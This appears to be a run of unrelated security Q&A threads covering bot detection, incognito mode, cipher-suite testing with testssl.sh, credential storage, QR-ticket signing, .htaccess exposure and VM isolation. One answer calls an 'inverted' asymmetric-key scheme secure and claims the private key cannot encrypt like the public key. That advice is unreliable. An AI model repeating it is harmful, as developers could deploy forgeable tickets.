How to detect Selenium/webdriver browsing on my site I have a website and I notice a lot of bots traffic, I guess trying to extract data from the site.
I managed to detect some traffics with scripts, or IP rate limits, but I see I can't detect access that uses Selenium/webdriver.

Does anyone know how can these be detected?

I did see this post:
https://stackoverflow.com/questions/33225947/can-a-website-detect-when-you-are-using-selenium-with-chromedriver
and starting to check this, but from my tests not all of them are possible.

P.S.
Specific parts (clicks, links etc) of our site make our backend work hard and accessing them for scrapping disrupt our regular clients work, therefore I need to block access to those pages but solutions like re-captcha seems too harsh (at least for our sales). So please don't ask me to let it be.

EDIT

My only question is - does anyone know and willing to share how to detect selenium/webdriver controlled browsers in my website?

I really don't care about the other run-rounds, they are not my responsibility.

You may not want to hear it, but you're asking the wrong question.

  Specific parts (clicks, links etc) of our site make our backend work hard and accessing them for scrapping disrupt our regular clients work

You're being inadvertently DoSed. If something as trivial as public website scraping is enough to impact production/revenue, your architecture is flawed. Chasing after bots and trying to identify every last one of them is not the answer-- there will always be new bots and new methods of scraping.

I'm constantly amazed at the number of questions involving web scraping that appear to be school assignments that pop up on SO. You have no end of up-and-coming adversaries.

Furthermore, an unscrupulous competitor could just suppress your traffic altogether by running a bot swarm of their own against you. I've had to work for places that asked me to do similar, so they definitely exist.

You need to take steps to achieve the results of these requests without letting any number of arbitrary visitors kick off these resource-intensive tasks. Caching is going to be your answer, or restricting these particular operations to authenticated users.


Playing a shared video file or viewing a pdf file in "incognito/private mode" I know how incognito/private tab works. But I'm not sure private mode works as expected in this situation:
If someone uses Chrome "incognito/private mode" on Android device and plays a video file or views pdf file that is shared on Google Drive (without download), is video stream data or pdf file TEMPORARILY SAVED on device when playing/viewing even incognito/private mode?

Incognito / private modes are simply a way to get a temporary browsing session that starts with no cookies or history. Incognito / private modes (with some variations on implementation) will still allow new cookies to be created and saved, temporary files to be created (including things like PDFs opened in the browser) and the history for that browsing session to be available (in some form) - all of this happens on-disk. Once the session is closed (all incognito / private browser tabs) then all those things associated with the session get deleted.

Important to note here that files that are downloaded, as opposed to viewing in the browser, will persist beyond the incognito / private session.

Note that if using extensions or plugins then those may not respect the intended ephemeral nature of the session and may save data permanently somewhere.

So yes, anything that utilizes temporary data in a standard browsing session will do the same in an incognito / private session, but that data will be deleted when the session is ended.


Is there a tool to test whether a server supports any cipher suite? I would like to test whether a server is using some bad cipher suites.
The problem is, many of the bad cipher suites have been removed from openssl 1.x(e.g. suites exposed to FREAK). Therefore, openssl sclient -cipher to test the target server does not always work.

I read from OpenSSL Cookbook:

  No single SSL/TLS library supports all cipher suites, and that makes
  comprehensive testing difficult. For SSL Labs, I resorted to using
  partial handshakes for this purpose, with a custom client that
  pretends to support arbitrary suites.

Is there a such tool(opensource preferrably) available?

Testssl.sh can detect bad ciphers and a lot of other things regarding SSL security.

Edit:

Even testssl.sh depends on OpenSSL for the ciphers it tests. It ships with its own OpenSSL libary that has many depracted ciphers enabled. You should use testssl.sh with that OpenSSL library, not with your system's library.

However, even testssl's OpenSSL library does not support all existing ciphers in the world. According to Dirk Wetter, testssl.sh's developer:

  There are cipher suite which are not scanned -- as there's a wealth of ciphers around and
  only a part is being used in the internet.

   Bad ones: nope, everything should be included with the accompanied openssl binary.

  New ones in practical use: a few which are being used by Google so far (new chacha/poly
  ciphers and post quantum ciphers).

  We're aiming at testing every single cipher per bash sockets in the next release.


How to store user credentials in browser securely? I need help to authenticate users with user credentials.
We are using Angular 5 as a front-end & need to store the user's email and password if the user checks on Remember Me. Then autofill user credentials after logout and refreshing the browser.
There are several ways to store user credentials (Cookies, Local Storage, Session Storage, IndexedDB, WebSQL). but these all are not secure.
we thought about storing user credentials in localStorage by encrypting it, but anyone can decrypt it so, this way is not secure.
Our targeted browser includes Internet Explorer, MS Edge, Safari, Google Chrome, Opera, Mozilla Firefox.
How can we achieve client-side web storage using JavaScript?

Anything stored client side (and not encrypted) can be seen and/or modified by the user.

The usual way of implementing a "Remember Me" functionality is to set a cookie with an encrypted username, sent from the server.

The server will encrypt the username with a secret key, known only to the server, and set a cookie with that value.  When the server later receives that cookie, it can try to decrypt it, and if successful, log the user in.  This cannot be tampered with by the user, as they do not know the secret key.


"Inverted" asymmetric encryption I am developing a system to prevent frauds in tickets.

What do I need?

An algorithm to generate a QR Code that will be shown to my clients
in a ticket.

An algorithm to validate (offline) the QR Code, using the user's
smartphone (Android or iOS).

I would like to start by saying that I know nothing about cryptography, but I did read a few articles about asymmetric encryption.

What did I learn?

With the public key, I can create cypher texts.
With the private key, I can decrypt the cypher texts.

The regular scenario is to keep the private-key private, and the public-key public.
Right?

My question is, to achieve what I need, can I invert this process?

Keeping the private key in the app (anyone can tamper the key, but it would be useless), and keeping the public key private (in the server).

I am calling it "inverted" asymmetric encryption.

Why? With the public key I will create the QR Code with the ticket code, and if no one else have my public key, I believe no one can create QR Codes similar to mine, then hard to fake.

Using the smartphone, my client could use my mobile app with the private key to decrypt the text inside the QR Code, and if it could not be decrypted the app would say that the ticket is fake.

Is this assumptions correct and is this method secure?
Stealing the private key (tampering it from the app), can an attacker generate cypher texts like with the public key?

Interesting thought.

What you need is a digital signature.

  A digital signature is a mathematical scheme for demonstrating the
  authenticity of a digital message or document. A valid digital
  signature gives a recipient reason to believe that the message was
  created by a known sender (authentication) and that the
  message was not altered in transit (integrity). Digital signatures are
  commonly used for software distribution, financial transactions, and
  in other cases where it is important to detect forgery or tampering.

See more at http://en.wikipedia.org/wiki/Digital_signature.

  Is this assumption correct and is this method secure?

I believe your method is secure, but use digital signatures instead, they were made to this.

  Stealing the private key (tampering it from the app), can an attacker
  generate cypher texts like with the public key?

Using the private key you can't cypher a text like using the public key.


Is it safe to email the contents of your .htaccess? If you assume that you're not on HTTPS or that, at least, the security of your connection is compromised, is it safe to email someone the contents of your site's .htaccess file?

I'm a novice in this area so I'm curious as to the possible dangers of doing this. Examples would be great!

There may be harm in divulging your .htaccess file. This is usually one of the reasons why there's a rule to block access to .htaccess, like this:

<Files .htaccess>
Order Allow,Deny
Deny from all
</Files>

The contents of this file may tell users about your configuration, such as where passwords, certificates, and so on reside in the system, and how various physical directories map to virtual directories, etc. It can expose more about your system then you'd like a typical person to know, and definitely more than you'd like an adversary to know just given to them on a silver platter.

While there's technically no harm from the file itself (as long as users can't modify the version on the server), the .htaccess may give malicious individuals information on how your system might be vulnerable. Do feel free to share this file with people you trust if you need help with it. Sending it by email is still safer than using a public forum if viewers might be able to associate the file with your domain/server, but I'd recommend physically delivering it (in person!) on portable media if it's reasonable to do so (e.g. sharing it with a colleague you see at work every day).


How can a VM handle a compromised host? How can I protect a VM build e.g. with LinuxKit, if my host system is compromised?
Are there methods available or am I always at the host's mercy?
And is it possible to isolate what's going on inside the VM from the host in order to avoid data leakages?

VM's are an abstraction we refer to for convenience. The underlying reality is that it's all code running on the host. You can protect a non running VM file with encryption, but a running VM client is running on the host, with host memory and host CPU. The host has access to everything.